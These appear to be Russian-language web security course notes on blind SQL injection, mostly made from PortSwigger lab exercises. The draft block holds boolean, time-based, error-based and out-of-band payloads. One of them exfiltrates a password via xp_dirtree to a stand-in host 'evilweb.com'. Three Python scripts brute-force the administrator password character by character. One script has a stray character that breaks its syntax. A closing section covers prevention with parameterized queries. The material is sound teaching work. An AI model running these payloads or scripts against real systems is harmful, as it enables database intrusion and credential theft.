---
# System prepended metadata

title: Занятие 3. SQL injection.
tags: [Intro to Web Security]

---

# Занятие 3. SQL injection. 

###### tags: `Intro to Web Security`

#### Материалы и описание для самостоятельного изучения:

- язык SQL 
    - [Что такое SQL и как он работает](https://gb.ru/posts/chto-takoe-sql-i-kak-on-rabotaet)
    - [w3schools](https://www.w3schools.com/sql/default.asp)
    - [sql-ex](https://sql-ex.ru)
- инъекции SQL
    - [PortSwigger academy](https://portswigger.net/web-security/sql-injection)
    - [sqlinjection.net](https://www.sqlinjection.net/tutorial/)
    - [hacksplaining.com](https://www.hacksplaining.com/lessons)


## Слепые SQL инъекции

На прошлом занятии, мы не успели пройти все инъекции. Потому продолжаем. 

> К сожалению, на видеозаписи нет звука
 
Но, посмотрев, вы могли заметить, что мы писали несколько скриптов. Прикладываем их здесь. 

### черновик

```
select * from users where trackingId='awhfdajhwgd' and '1'='1'

' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='y

and 'h'='h'

password                username

nh4ar0qfmdbfw3vo5zc8     administrator

=> nh4ar0qfmdbfw3vo5zc8 => h


case when '1'='1' then 1/0 else 'a'='a'

if '1'='1':
    sefhasih
else
    ewifaoiw
    
case when '1'='1' then sleep(5) else 'a'='a'

cJRWfkGzqanDtDr7'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END--

cJRWfkGzqanDtDr7'%3BSELECT+CASE+WHEN+(username='administrator'+and+substring(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+from+users--

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'


evilweb.com

//evilweb.com/a


@pass


exec master..xp_dirtree '//evilweb.com/'

------------------------------------------------
goodsite.com

username            password
administrator       SuperStrongPassword123!
user                Password

select * from users where trackingId='awhfdajhwgd'; declare @pass varchar(1024); set @pass=(select password from users where username='adminstrator'); exec('master..xp_dirtree "//'+@pass+'.evilweb.com/"')--


test123.evilweb.com

test123
a.evilweb.com

@pass = SuperStrongPassword123!

                                                            Password                            //Password.evilweb.com/
'; declare @pass varchar(1024); set @pass=(select password from users where username='user'); exec('master..xp_dirtree "//'+@pass+'.evilweb.com/"')--


//SuperStrongPassword123!.evilweb.com/
//Password.evilweb.com/


"'1=1"


$username = $_POST['username']
$username = addslashes($username)
```

### brute

```python=
import requests,sys

chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM"
pas = ''

for i in range(1,21):
    for char in chars:
        cookies = {'TrackingId': "WN74gPYydp0eSDK2' AND (SELECT SUBSTRING(password," + str(i) +",1) FROM users WHERE username='administrator')='" + char, "session": "dNA97xZkHsWy9jEtaFf48U0zrIGU5BYG"}
        r = requests.get("https://ac4f1f3b1fdc4964c0a60d2500ca00c0.web-security-academy.net/filter?category=Pets", cookies=cookies)
        sys.stdout.write("\r> Trying %s..." %char)
        sys.stdout.flush()
        if "Welcome" in r.text:
            sys.stdout.write("\r[+] Found: " + char)
            sys.stdout.flush()
            print("   ")
            pas+=char
            break
print("")
print("[+] Password is " + pas)
```

### brute time

```python=
import requests,sys

chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM"
pas = ''

for i in range(1,21):
    for char in chars:
        cookies = {'TrackingId': "cJRWfkGzqanDtDr7'%3BSELECT+CASE+WHEN+(username='administrator'+and+substring(password," + str(i) + ",1)='" + char + "')+THEN+pg_sleep(2)+ELSE+pg_sleep(0)+END+from+users--", 
                "session": "zKwQy9Pt2NoBt4I61WychwWs2XGdSO8O"}
        sys.stdout.write("\r> Trying %s..." %char)
        sys.stdout.flush()
        r = requests.get("https://acec1f1d1f16c819c11416c300030021.web-security-academy.net/", cookies=cookies)
        if r.elapsed.seconds >= 1:
            sys.stdout.write("\r[+] Found: " + char)
            sys.stdout.flush()
            print("   ")
            pas+=char
            break
print("")
print("[+] Password is " + pas)
```


### brute errors

```python=
import requests,sys

chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM"
pas = ''

for i in range(1,21):
    for char in chars:
        cookies = {'TrackingId': "EGlGceA0eSqwHGUd'||(SELECT CASE WHEN (substr(password," + str(i) + ",1) ='" + char + "') THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'",
a                "session": "k0mtXPXAMjk1iOsvGOsTmPnCZ0REoN4l"}
        
        #print(cookies['TrackingId'])

        r = requests.get("https://ac5f1f961e1de095c0ac0d1800c3008c.web-security-academy.net/", cookies=cookies)
        sys.stdout.write("\r> Trying %s..." %char)
        sys.stdout.flush()
        if "Internal" in r.text:
            sys.stdout.write("\r[+] Found: " + char)
            sys.stdout.flush()
            print("   ")
            pas+=char
            break
print("")
print("[+] Password is " + pas)
```

Продолжим слайдами со второго занятия

## Использование слепой инъекции SQL с использованием out-of-band (OAST)

Теперь предположим, что приложение выполняет один и тот же SQL-запрос, но делает это асинхронно. Приложение продолжает обработку запроса пользователя в исходном потоке и использует другой поток для выполнения SQL-запроса с использованием отслеживания cookie. Запрос по-прежнему уязвим для внедрения SQL, однако ни один из методов, описанных до сих пор, не будет работать: ответ приложения не зависит от того, возвращает ли запрос какие-либо данные, или от того, возникает ли ошибка базы данных, или от времени, затраченного на выполнение запроса.

В этой ситуации часто можно воспользоваться уязвимостью слепой инъекции SQL, запустив out-of-band сетевое взаимодействие с системой, которой вы управляете. Как и ранее, они могут запускаться условно, в зависимости от введенного условия, для вывода информации по одному биту за раз. Но что еще более важно, данные могут быть эксфильтрированы непосредственно в рамках самого сетевого взаимодействия.

Для этой цели можно использовать различные сетевые протоколы, но, как правило, наиболее эффективным является DNS (служба доменных имен). Это связано с тем, что очень многие производственные сети допускают свободный выход DNS-запросов, поскольку они необходимы для нормальной работы производственных систем.

![](https://i.imgur.com/XT2MZba.png)

## Как предотвратить слепые атаки SQL-инъекций?

Хотя методы, необходимые для поиска и использования уязвимостей слепой инъекции SQL, отличаются и более сложны, чем для обычной инъекции SQL, меры, необходимые для предотвращения инъекции SQL, одинаковы независимо от того, является ли уязвимость слепой или нет. 

Как и в случае обычной SQL-инъекции, слепые атаки SQL-инъекции можно предотвратить за счет тщательного использования параметризованных запросов, которые гарантируют, что вводимые пользователем данные не могут повлиять на структуру предполагаемого SQL-запроса.

![](https://i.imgur.com/hMwRBIc.png)

## Как предотвратить внедрение SQL

Большинство случаев внедрения SQL можно предотвратить, используя параметризованные запросы (также известные как подготовленные операторы) вместо объединения строк в запросе.
Следующий код уязвим для внедрения SQL, поскольку вводимые пользователем данные объединяются непосредственно в запрос:

`String query = "SELECT * FROM products WHERE category = '"+ input + "'";`

`Statement statement = connection.createStatement();`

`ResultSet resultSet = statement.executeQuery(query);`

Этот код можно легко переписать таким образом, чтобы пользовательский ввод не мешал структуре запроса:

`PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");`

`statement.setString(1, input);`

`ResultSet resultSet = statement.executeQuery();`

![](https://i.imgur.com/TRrIxxj.png)

## Вывод

Чтобы параметризованный запрос эффективно предотвращал внедрение SQL, строка, используемая в запросе, всегда должна быть жестко запрограммированной константой и никогда не должна содержать никаких переменных данных из любого источника. Слишком легко ошибиться в отношении возможного происхождения данных или внести изменения в другой код, чтобы нарушить предположения о том, какие данные испорчены.

![](https://i.imgur.com/6ppVAmb.png)